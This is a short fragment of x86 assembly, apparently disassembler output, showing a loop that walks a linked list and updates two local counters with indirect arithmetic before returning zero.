jne 0x40ed18
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x18]
jmp 0x40ed58
mov dword [ebp - 0x2c], 0x77
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
lea ecx, [eax + edx*2 - 0xec]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
lea ecx, [eax + edx - 0x76]
mov dword [ebp - 0x20], ecx
jmp 0x40ec6b
mov edx, dword [ebp - 0x14]
mov eax, dword [edx + 4]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x10]
jne 0x40ec28
xor eax, eax
mov esp, ebp
pop ebp
ret 4